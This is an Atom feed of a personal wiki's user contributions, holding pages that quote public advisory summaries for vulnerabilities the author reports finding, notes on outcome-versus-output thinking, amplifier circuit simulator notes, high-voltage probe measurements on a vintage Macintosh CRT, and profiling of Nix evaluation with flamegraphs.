<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.justus.pw/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Justus</id>
	<title>justus.pw Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.justus.pw/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Justus"/>
	<link rel="alternate" type="text/html" href="https://www.justus.pw/wiki/Special:Contributions/Justus"/>
	<updated>2026-05-25T01:22:12Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.44.3</generator>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Vulnerabilities&amp;diff=109</id>
		<title>Vulnerabilities</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Vulnerabilities&amp;diff=109"/>
		<updated>2026-04-06T12:37:54Z</updated>

		<summary type="html">&lt;p&gt;Justus: Add vulnerabilities&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here are some vulnerabilities that I found:&lt;br /&gt;
&lt;br /&gt;
== CVE-2025-9014 ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;A Null Pointer Dereference vulnerability exists in the referer header check of the web portal of TP-Link TL-WR841N v14, caused by improper input validation.  A remote, unauthenticated attacker can exploit this flaw and cause Denial of Service on the web portal service.This issue affects TL-WR841N v14: before 250908.&amp;lt;ref&amp;gt;https://www.cve.org/CVERecord?id=CVE-2025-9014&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== JVN#83788689 ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;CVE-2015-1548&lt;br /&gt;
&lt;br /&gt;
 Justus W. Perlwitz of JWP Consulting reported this vulnerability to BUFFALO INC. and coordinated. &lt;br /&gt;
&lt;br /&gt;
 After the coordination was completed, BUFFALO INC. reported the case to JPCERT/CC to notify users of the solution through JVN.&amp;lt;ref&amp;gt;https://jvn.jp/en/jp/JVN83788689/&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CVE-2025-41725 ==&lt;br /&gt;
&amp;lt;blockquote&amp;gt;JBL: DoS vulnerability in Flip 4&lt;br /&gt;
&lt;br /&gt;
The Bluetooth Classic implementation on JBL Flip 4 devices with firmware version prior to 4.1.0 does not properlym,handle malformed LMP messages and causes the entire device to crash. Any attacker in radio range can exploit this vulnerability.&amp;lt;ref&amp;gt;https://certvde.com/en/advisories/VDE-2026-0001/&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Outcome_over_output&amp;diff=108</id>
		<title>Outcome over output</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Outcome_over_output&amp;diff=108"/>
		<updated>2026-03-23T04:00:27Z</updated>

		<summary type="html">&lt;p&gt;Justus: /* Product manager perspective */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Comparing the definition of what an outcome and output is for organizations is an interesting exercise in learning what&#039;s important for you long-term.&lt;br /&gt;
&lt;br /&gt;
The following contains a few quotes from two articles that I recently found.&lt;br /&gt;
&lt;br /&gt;
== Software developer perspective ==&lt;br /&gt;
Here&#039;s an article written by Mark Sawers that talks about the difference between outcomes and output from the perspective of a software developer:&amp;lt;blockquote&amp;gt;Your real value to your organization is in improving outcomes. Not &#039;&#039;&#039;directly&#039;&#039;&#039; in how well you wield language X, tool Y, process Z. […]&lt;br /&gt;
&lt;br /&gt;
The goal is not output; the goal is &#039;&#039;&#039;outcome&#039;&#039;&#039;. The outcome is more revenue, more profit, more users, more product availability, happier users … right?&lt;br /&gt;
&lt;br /&gt;
[…] Your product owner doesn’t have a patent on designing end user features. […]&lt;br /&gt;
&lt;br /&gt;
[…] My suggestion is to play your organization’s games (don’t leave that bonus on the table!) but bring your enlightened perspective as best you can.&amp;lt;ref&amp;gt;[https://letterstoanewdeveloper.com/2019/02/15/outcomes-over-output/ &amp;quot;Outcomes over output]&amp;quot; &#039;&#039;letterstoanewdeveloper.com&#039;&#039;&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Product manager perspective ==&lt;br /&gt;
Here&#039;s an article written from the perspective of a product manager. It establishes that understanding output and outcomes are both important. Outcomes are more difficult to measure than outputs, and focus on creating long-term value for an organization. Outputs are easier to measure, but only tell you what an organization is creating now without informing you of what the future value of that output may be.&amp;lt;blockquote&amp;gt;Output vs Outcome differentiates the tangible deliverables of a process (output) from the value or impact those deliverables create (outcome). While outputs measure activity, outcomes measure effectiveness and success. […]&lt;br /&gt;
&lt;br /&gt;
Outcome is a measure of the impact and value that the outputs are creating. […] By focusing on outcomes, companies can ensure that their efforts and resources are being directed towards creating true value and impact.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref&amp;gt;[https://www.launchnotes.com/glossary/output-vs-outcome-in-product-management-and-operations Output vs Outcome] &#039;&#039;www.launchnotes.com/glossary&#039;&#039;&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Quality management ==&lt;br /&gt;
When you look at product management with a quality management system (QMS) lens, you&#039;re encouraged to define customer-centric metrics such as customer satisfaction.&amp;lt;ref&amp;gt;[https://msspassociation.org/training-courses/iso-standards-in-plain-english/iso-9001-clauses/iso-9001-clause-9-1-2-customer-satisfaction &amp;quot;ISO 9001 - Clause 9.1.2 Customer Satisfaction]&amp;quot; &#039;&#039;msspassociation.org&#039;&#039;&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Outcome_over_output&amp;diff=107</id>
		<title>Outcome over output</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Outcome_over_output&amp;diff=107"/>
		<updated>2026-03-23T03:59:26Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;Comparing the definition of what an outcome and output is for organizations is an interesting exercise in learning what&amp;#039;s important for you long-term.  The following contains a few quotes from two articles that I recently found.  == Software developer perspective == This is an article written by Mark Sawers that talks about the difference between outcomes and output from the perspective of a software developer:&amp;lt;blockquote&amp;gt;Your real value to your organization is in improv...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Comparing the definition of what an outcome and output is for organizations is an interesting exercise in learning what&#039;s important for you long-term.&lt;br /&gt;
&lt;br /&gt;
The following contains a few quotes from two articles that I recently found.&lt;br /&gt;
&lt;br /&gt;
== Software developer perspective ==&lt;br /&gt;
This is an article written by Mark Sawers that talks about the difference between outcomes and output from the perspective of a software developer:&amp;lt;blockquote&amp;gt;Your real value to your organization is in improving outcomes. Not &#039;&#039;&#039;directly&#039;&#039;&#039; in how well you wield language X, tool Y, process Z. […]&lt;br /&gt;
&lt;br /&gt;
The goal is not output; the goal is &#039;&#039;&#039;outcome&#039;&#039;&#039;. The outcome is more revenue, more profit, more users, more product availability, happier users … right?&lt;br /&gt;
&lt;br /&gt;
[…] Your product owner doesn’t have a patent on designing end user features. […]&lt;br /&gt;
&lt;br /&gt;
[…] My suggestion is to play your organization’s games (don’t leave that bonus on the table!) but bring your enlightened perspective as best you can.&amp;lt;ref&amp;gt;[https://letterstoanewdeveloper.com/2019/02/15/outcomes-over-output/ &amp;quot;Outcomes over output]&amp;quot; &#039;&#039;letterstoanewdeveloper.com&#039;&#039;&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Product manager perspective ==&lt;br /&gt;
This is an article written from the perspective of a product manager. It establishes that understanding output and outcomes are both important. Outcomes are more difficult to measure than outputs, and focus on creating long-term value for an organization. Outputs are easier to measure, but only tell you what an organization is creating now without informing you of what the future value of that output may be.&amp;lt;blockquote&amp;gt;Output vs Outcome differentiates the tangible deliverables of a process (output) from the value or impact those deliverables create (outcome). While outputs measure activity, outcomes measure effectiveness and success. […]&lt;br /&gt;
&lt;br /&gt;
Outcome is a measure of the impact and value that the outputs are creating. […] By focusing on outcomes, companies can ensure that their efforts and resources are being directed towards creating true value and impact.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref&amp;gt;[https://www.launchnotes.com/glossary/output-vs-outcome-in-product-management-and-operations Output vs Outcome] &#039;&#039;www.launchnotes.com/glossary&#039;&#039;&amp;lt;/ref&amp;gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Quality management ==&lt;br /&gt;
When you look at product management with a quality management system (QMS) lens, you&#039;re encouraged to define customer-centric metrics such as customer satisfaction.&amp;lt;ref&amp;gt;[https://msspassociation.org/training-courses/iso-standards-in-plain-english/iso-9001-clauses/iso-9001-clause-9-1-2-customer-satisfaction &amp;quot;ISO 9001 - Clause 9.1.2 Customer Satisfaction]&amp;quot; &#039;&#039;msspassociation.org&#039;&#039;&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Amplifier_circuits&amp;diff=106</id>
		<title>Amplifier circuits</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Amplifier_circuits&amp;diff=106"/>
		<updated>2026-03-14T23:16:59Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;As I&#039;m studying for my 3rd class Amateur radio certificate&amp;lt;ref&amp;gt;[https://www.nichimu.or.jp/kshiken/#:~:text=%E7%AC%AC%E4%B8%89%E7%B4%9A%E3%82%A2%E3%83%9E%E3%83%81%E3%83%A5%E3%82%A2%E7%84%A1%E7%B7%9A%E6%8A%80%E5%A3%AB 国家試験 受験案内] &#039;&#039;www.nichimu.org&#039;&#039;.jp&amp;lt;/ref&amp;gt; in Japan&amp;lt;ref&amp;gt;I realize writing this resembles &amp;quot;Photo of X -&amp;gt; :|, Photo of X in Japan :O&amp;quot;&amp;lt;/ref&amp;gt;, I wanted to write down some notes on amplifier circuits.&lt;br /&gt;
&lt;br /&gt;
== Amplifier types ==&lt;br /&gt;
&lt;br /&gt;
=== Common emitter amplifier ===&lt;br /&gt;
[[File:Common emitter amplifier.png|thumb|Common emitter amplifier in the Falstad circuit simulator]]&lt;br /&gt;
In Japanese, this called エミッタ接地増幅回路&amp;lt;ref&amp;gt;第3級ハム国試要点マスター 2026年版発行　CQ出版社　ISBN978-4-7898-1932-9&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Falstad circuit emulator text&amp;lt;ref&amp;gt;[https://www.falstad.com/circuit/ Circuit Simulator Applet] &#039;&#039;www.falstad.com/circuit&#039;&#039;&amp;lt;/ref&amp;gt;:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ 1 0.000005 13.097415321081861 66 5 50 5e-11&lt;br /&gt;
t 208 208 288 208 0 1 -6.335290598254659 0.6267237961459291 100 default&lt;br /&gt;
r 288 192 288 96 0 1200&lt;br /&gt;
r 208 208 208 96 0 20000&lt;br /&gt;
w 208 96 288 96 0&lt;br /&gt;
v 96 352 96 208 16 1 100 1 0 0 0.5&lt;br /&gt;
c 208 208 96 208 4 0.000003 1.3999061550528193 0.001 0&lt;br /&gt;
w 96 352 208 352 0&lt;br /&gt;
c 336 224 336 352 4 0.0000022999999999999996 1.0340239322574427 0.001 0&lt;br /&gt;
w 336 352 416 352 0&lt;br /&gt;
p 416 192 416 352 3 0 0 10000000&lt;br /&gt;
R 416 96 448 96 0 0 40 12 0 0 0.5&lt;br /&gt;
w 288 96 416 96 0&lt;br /&gt;
207 416 192 448 192 4 Vout&lt;br /&gt;
g 288 352 288 384 0 0&lt;br /&gt;
w 416 192 288 192 0&lt;br /&gt;
w 336 352 288 352 0&lt;br /&gt;
r 288 224 288 352 0 220&lt;br /&gt;
w 288 224 336 224 0&lt;br /&gt;
207 416 352 448 352 4 0v&lt;br /&gt;
r 208 208 208 352 0 3600&lt;br /&gt;
w 208 352 288 352 0&lt;br /&gt;
o 4 64 0 x281012 8.250148878587748 0.0001 0 3 0 20 0 4 3 Infinity 0 9 0 500 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;Observations:&lt;br /&gt;
&lt;br /&gt;
* The output voltage is 180 degrees out of phase with the input voltage.&lt;br /&gt;
* Increasing the AC frequency from 100 Hz to 1000 Hz introduces clipping on the output.&lt;br /&gt;
&lt;br /&gt;
== Notes ==&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Amplifier_circuits&amp;diff=105</id>
		<title>Amplifier circuits</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Amplifier_circuits&amp;diff=105"/>
		<updated>2026-03-14T23:07:47Z</updated>

		<summary type="html">&lt;p&gt;Justus: Created page with &amp;quot;== Amplifier types ==  === Common emitter amplifier === Common emitter amplifier in the Falstad circuit simulator Falstad circuit emulator text&amp;lt;ref&amp;gt;[https://www.falstad.com/circuit/ Circuit Simulator Applet] &amp;#039;&amp;#039;www.falstad.com/circuit&amp;#039;&amp;#039;&amp;lt;/ref&amp;gt;:&amp;lt;pre&amp;gt; $ 1 0.000005 13.097415321081861 66 5 50 5e-11 t 208 208 288 208 0 1 -6.335290598254659 0.6267237961459291 100 default r 288 192 288 96 0 1200 r 208 208 208 96 0 20000 w 208 96 288 96...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Amplifier types ==&lt;br /&gt;
&lt;br /&gt;
=== Common emitter amplifier ===&lt;br /&gt;
[[File:Common emitter amplifier.png|thumb|Common emitter amplifier in the Falstad circuit simulator]]&lt;br /&gt;
Falstad circuit emulator text&amp;lt;ref&amp;gt;[https://www.falstad.com/circuit/ Circuit Simulator Applet] &#039;&#039;www.falstad.com/circuit&#039;&#039;&amp;lt;/ref&amp;gt;:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ 1 0.000005 13.097415321081861 66 5 50 5e-11&lt;br /&gt;
t 208 208 288 208 0 1 -6.335290598254659 0.6267237961459291 100 default&lt;br /&gt;
r 288 192 288 96 0 1200&lt;br /&gt;
r 208 208 208 96 0 20000&lt;br /&gt;
w 208 96 288 96 0&lt;br /&gt;
v 96 352 96 208 16 1 100 1 0 0 0.5&lt;br /&gt;
c 208 208 96 208 4 0.000003 1.3999061550528193 0.001 0&lt;br /&gt;
w 96 352 208 352 0&lt;br /&gt;
c 336 224 336 352 4 0.0000022999999999999996 1.0340239322574427 0.001 0&lt;br /&gt;
w 336 352 416 352 0&lt;br /&gt;
p 416 192 416 352 3 0 0 10000000&lt;br /&gt;
R 416 96 448 96 0 0 40 12 0 0 0.5&lt;br /&gt;
w 288 96 416 96 0&lt;br /&gt;
207 416 192 448 192 4 Vout&lt;br /&gt;
g 288 352 288 384 0 0&lt;br /&gt;
w 416 192 288 192 0&lt;br /&gt;
w 336 352 288 352 0&lt;br /&gt;
r 288 224 288 352 0 220&lt;br /&gt;
w 288 224 336 224 0&lt;br /&gt;
207 416 352 448 352 4 0v&lt;br /&gt;
r 208 208 208 352 0 3600&lt;br /&gt;
w 208 352 288 352 0&lt;br /&gt;
o 4 64 0 x281012 8.250148878587748 0.0001 0 3 0 20 0 4 3 Infinity 0 9 0 500 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;Observations:&lt;br /&gt;
&lt;br /&gt;
* The output voltage is 180 degrees out of phase with the input voltage.&lt;br /&gt;
* Increasing the AC frequency from 100 Hz to 1000 Hz introduces clipping on the output.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=File:Common_emitter_amplifier.png&amp;diff=104</id>
		<title>File:Common emitter amplifier.png</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=File:Common_emitter_amplifier.png&amp;diff=104"/>
		<updated>2026-03-14T23:02:14Z</updated>

		<summary type="html">&lt;p&gt;Justus: Justus uploaded a new version of File:Common emitter amplifier.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;common emitter amplifier in falstad&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=File:Common_emitter_amplifier.png&amp;diff=103</id>
		<title>File:Common emitter amplifier.png</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=File:Common_emitter_amplifier.png&amp;diff=103"/>
		<updated>2026-03-14T22:47:43Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;common emitter amplifier in falstad&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=B%26K_PR-28A&amp;diff=102</id>
		<title>B&amp;K PR-28A</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=B%26K_PR-28A&amp;diff=102"/>
		<updated>2026-03-14T12:50:53Z</updated>

		<summary type="html">&lt;p&gt;Justus: Add page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The B&amp;amp;K PR-28A&amp;lt;ref&amp;gt;[https://www.bkprecision.com/products/accessories/PR%2028A Model PR 28A] &#039;&#039;www.bkprecision.com&#039;&#039;&amp;lt;/ref&amp;gt; is a High Voltage multimeter probe by B&amp;amp;K. I&#039;ve bought mine in March 2026 on Marutsu&amp;lt;ref&amp;gt;[https://www.marutsu.co.jp/pc/i/29323335/ PR 28A] &#039;&#039;www.marutsu.co.jp&#039;&#039;&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
I&#039;m using it to measure whether a CRT is still charged or not. Last year, I&#039;ve bought two used Macintosh 512K computers that I&#039;m trying to repair. One of them mostly doesn&#039;t work, the other one mostly works. With the former, I don&#039;t hear the Macintosh startup sound, but it does emit some high-pitch sounds. The latter turns on and boots into Macintosh System 3.2. The internal floppy drive has some reliability issues and I want to apply grease to all moving parts in the floppy drive.&lt;br /&gt;
&lt;br /&gt;
Now, the first thing to do when disassembling a Macintosh 512K is to make sure that there&#039;s no charge remaining in the CRT&amp;lt;ref&amp;gt;https://wiki.retrotechcollection.com/Macintosh_128K/512K_General_Maintenance&amp;lt;/ref&amp;gt;. I assumed that the PR-28A probe could help me with discharging, since it&#039;s made to connect to high voltage circuits. Attaching the probe&#039;s crocodile clip grounding to the CRT chassis and sticking the probe under the anode suction cup showed a 0.3 V charge on my Fluke 115 digital multimeter&amp;lt;ref&amp;gt;[https://www.fluke.com/en-us/product/electrical-testing/digital-multimeters/fluke-115 Fluke 115 Field Technicians Digital Multimeter] &#039;&#039;www.fluke.com&#039;&#039;&amp;lt;/ref&amp;gt;. The PR-28A scales any voltage measurement by a factor of 1:1000. 0.3 V then means that there is an electric potential of 300 V between the CRT chassis and CRT anode. I won&#039;t explain how the discharge procedure works here, but I was curious why the PR-28A probe won&#039;t let me discharge the CRT as well.&lt;br /&gt;
&lt;br /&gt;
== Understanding probe and multimeter ==&lt;br /&gt;
I wanted to write down some measurements that I&#039;ve performed between the B&amp;amp;K PR-28A probe, my Fluke 115, and a cheap FNRSI multimeter&amp;lt;ref&amp;gt;[https://www.fnirsi.com/products/2c53t FNIRSI® 2C53T 50MHz 250MS/s Handheld 3in1 Oscilloscope Multimeter Signal Generator] &#039;&#039;www.fnirsi.com&#039;&#039;&amp;lt;/ref&amp;gt; and oscilloscope.&lt;br /&gt;
&lt;br /&gt;
=== Fluke 115 measuring FNRSI voltage, FNRSI measuring resistance ===&lt;br /&gt;
Here, I&#039;m directly connecting the Fluke 115 and FNRSI COM/V terminals.&lt;br /&gt;
&lt;br /&gt;
* Fluke (Voltage DC): ~0.610 V&lt;br /&gt;
* FNRSI (Resistance): ~11.06 MΩ&lt;br /&gt;
&lt;br /&gt;
=== Fluke 115 measuring FNRSI resistance, FNRSI measuring voltage ===&lt;br /&gt;
Again, the Fluke 115 and FNRSI terminals connect directly. The voltage went up every few seconds, as well as the resistance. When the values settle, you get the resistance and voltage listed here.&lt;br /&gt;
&lt;br /&gt;
* Fluke (Resistance): ~11.10 MΩ (up to ~20 MΩ)&lt;br /&gt;
* FNIRS (Voltage DC): ~0.525 V&lt;br /&gt;
&lt;br /&gt;
=== Fluke 115 off, FNRSI measuring resistance ===&lt;br /&gt;
Again, the Fluke 115 and FNRSI connect directly. I&#039;ve turned the Fluke off.&lt;br /&gt;
&lt;br /&gt;
* FNIRS (Resistance): 26.10 MΩ&lt;br /&gt;
&lt;br /&gt;
=== FNRSI off, Fluke 115 measuring resistance ===&lt;br /&gt;
The Fluke 115 and FNRSI connect directly. This time I&#039;ve turned the FNRSI off and the Fluke 115 measures its internal resistance.&lt;br /&gt;
&lt;br /&gt;
* Fluke (Resistance): 6.71 MΩ&lt;br /&gt;
&lt;br /&gt;
=== Fluke 115 measuring PR-28A resistance ===&lt;br /&gt;
Here, the PR-28A connects to the Fluke 115 through the COM and V terminals.&lt;br /&gt;
&lt;br /&gt;
* Fluke (Resistance): 1.167 MΩ&lt;br /&gt;
&lt;br /&gt;
=== FNRSI measuring PR-28A resistance ===&lt;br /&gt;
Here, the PR-28A connects to the Fluke 115 through the COM and V terminals.&lt;br /&gt;
&lt;br /&gt;
* FNRSI (Resistance): 1.166 MΩ&lt;br /&gt;
&lt;br /&gt;
== PR-28A resistance ==&lt;br /&gt;
The PR-28A probe&#039;s manual lists two facts:&lt;br /&gt;
&lt;br /&gt;
* The probe contains a voltage divider that divides incoming voltages by a factor of 1:1000. If you measure 30 V, the probes are measuring a 30,000 V potential.&lt;br /&gt;
* The probe&#039;s internal resistance is 1000 MΩ or 1 GΩ.&lt;br /&gt;
&lt;br /&gt;
I was surprised at first that my multimeters measure a resistance with nothing attached to the PR-28A. Confirming how a voltage divider works, I could see that on the Fluke side, there&#039;s a ~1.167 MΩ resistor. The total resistance is 1000 MΩ. Then, the other resistor in the voltage divider circuit should have&amp;lt;math&amp;gt;R = 1000\cdot10^6 - 1\cdot10^6=999\cdot10^6&amp;lt;/math&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The other half of the voltage divider has a resistance of 999 MΩ. Today I&#039;ve learned how you can use voltage dividers to safely measure high voltages with multimeters.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=101</id>
		<title>Nix Profiling</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=101"/>
		<updated>2026-03-03T07:11:36Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Nix-darwin ==&lt;br /&gt;
First, run the following to get a flamegraph:&amp;lt;pre&amp;gt;&lt;br /&gt;
# This assumes that you&#039;ve named your nix-darwin configuration&lt;br /&gt;
# after your hostname&lt;br /&gt;
nix eval --option eval-profiler flamegraph .#darwinConfigurations.$(hostname).system&lt;br /&gt;
&amp;lt;/pre&amp;gt;You should end up with a file called &amp;lt;code&amp;gt;nix.profile&amp;lt;/code&amp;gt;:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ file nix.profile&lt;br /&gt;
nix.profile: Unicode text, UTF-8 text, with very long lines (1339&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Make flamegraph ===&lt;br /&gt;
[[File:Nix eval flamegraph.png|thumb|This zoomed out screenshot of &amp;lt;code&amp;gt;nix.svg&amp;lt;/code&amp;gt; shows what kind of image you should expect to come out of the &amp;lt;code&amp;gt;flamegraph&amp;lt;/code&amp;gt; tool for a &amp;lt;code&amp;gt;nix eval&amp;lt;/code&amp;gt; run on &amp;lt;code&amp;gt;nix-darwin&amp;lt;/code&amp;gt;.]]&lt;br /&gt;
Use the flamegraph package to render this &amp;lt;code&amp;gt;nix.profile&amp;lt;/code&amp;gt; file to a SVG image:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ flamegraph &amp;lt; nix.profile &amp;gt; nix.svg&lt;br /&gt;
&amp;lt;/pre&amp;gt;On my system, this creates a 3.5 MiB SVG file.&lt;br /&gt;
&lt;br /&gt;
=== home-manager fonts ===&lt;br /&gt;
&amp;lt;code&amp;gt;darwin/fonts.nix&amp;lt;/code&amp;gt; curiously becomes part of a long call chain here. I&#039;ve always wondered why that happens. Here&#039;s the source code of &amp;lt;code&amp;gt;darwin/fonts.nix&amp;lt;/code&amp;gt;:&amp;lt;pre&amp;gt;&lt;br /&gt;
# https://github.com/nix-community/home-manager/blob/2b9504d5a0169d4940a312abe2df2c5658db8de9/modules/targets/darwin/fonts.nix&lt;br /&gt;
# SPDX-FileCopyrightText: 2017-2026 Home Manager contributors&lt;br /&gt;
# SPDX-License-Identifier: MIT&lt;br /&gt;
{&lt;br /&gt;
  config,&lt;br /&gt;
  lib,&lt;br /&gt;
  pkgs,&lt;br /&gt;
  ...&lt;br /&gt;
}:&lt;br /&gt;
&lt;br /&gt;
let&lt;br /&gt;
  homeDir = config.home.homeDirectory;&lt;br /&gt;
  fontsEnv = pkgs.buildEnv {&lt;br /&gt;
    name = &amp;quot;home-manager-fonts&amp;quot;;&lt;br /&gt;
    paths = config.home.packages;&lt;br /&gt;
    pathsToLink = [ &amp;quot;/share/fonts&amp;quot; ];&lt;br /&gt;
  };&lt;br /&gt;
  fonts = &amp;quot;${fontsEnv}/share/fonts&amp;quot;;&lt;br /&gt;
  installDir = &amp;quot;${homeDir}/Library/Fonts/HomeManager&amp;quot;;&lt;br /&gt;
in&lt;br /&gt;
{&lt;br /&gt;
  # macOS won&#039;t recognize symlinked fonts&lt;br /&gt;
  config = lib.mkIf pkgs.stdenv.hostPlatform.isDarwin {&lt;br /&gt;
    home.file.&amp;quot;Library/Fonts/.home-manager-fonts-version&amp;quot; = {&lt;br /&gt;
      text = &amp;quot;${fontsEnv}&amp;quot;;&lt;br /&gt;
      onChange = &#039;&#039;&lt;br /&gt;
        run mkdir -p ${lib.escapeShellArg installDir}&lt;br /&gt;
        run ${pkgs.rsync}/bin/rsync $VERBOSE_ARG -acL --chmod=u+w --delete \&lt;br /&gt;
          ${lib.escapeShellArgs [&lt;br /&gt;
            &amp;quot;${fonts}/&amp;quot;&lt;br /&gt;
            installDir&lt;br /&gt;
          ]}&lt;br /&gt;
      &#039;&#039;;&lt;br /&gt;
    };&lt;br /&gt;
  };&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;Specifically line 26 takes a long time to finish:&amp;lt;pre&amp;gt;&lt;br /&gt;
${lib.escapeShellArgs [ &amp;quot;${fonts}/&amp;quot; installDir ]}&lt;br /&gt;
&amp;lt;/pre&amp;gt;Going further up in the call chain, I can see that this is part of the home manager activation script generation. To resolve &amp;lt;code&amp;gt;&amp;quot;${fonts}&amp;quot;&amp;lt;/code&amp;gt;, you need to compute &amp;lt;code&amp;gt;config.home.packages&amp;lt;/code&amp;gt;. That&#039;s why, coincidentally, creating the &amp;lt;code&amp;gt;.home-manager-fonts-version&amp;lt;/code&amp;gt; file resolves all packages.&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=File:Home_manager_fonts_flamegraph.png&amp;diff=100</id>
		<title>File:Home manager fonts flamegraph.png</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=File:Home_manager_fonts_flamegraph.png&amp;diff=100"/>
		<updated>2026-03-03T06:53:20Z</updated>

		<summary type="html">&lt;p&gt;Justus: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This screenshot shows an excerpt from a flamegraph. The flamegraph highlights the time home manager fonts requires&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=99</id>
		<title>Nix Profiling</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Nix_Profiling&amp;diff=99"/>
		<updated>2026-03-03T06:34:17Z</updated>

		<summary type="html">&lt;p&gt;Justus: /* Nix-darwin */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Nix-darwin ==&lt;br /&gt;
First, run the following to get a flamegraph:&amp;lt;pre&amp;gt;&lt;br /&gt;
# This assumes that you&#039;ve named your nix-darwin configuration&lt;br /&gt;
# after your hostname&lt;br /&gt;
nix eval --option eval-profiler flamegraph .#darwinConfigurations.$(hostname).system&lt;br /&gt;
&amp;lt;/pre&amp;gt;You should end up with a file called &amp;lt;code&amp;gt;nix.profile&amp;lt;/code&amp;gt;:&amp;lt;pre&amp;gt;&lt;br /&gt;
$ file nix.profile&lt;br /&gt;
nix.profile: Unicode text, UTF-8 text, with very long lines (1339&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Make flamegraph ===&lt;br /&gt;
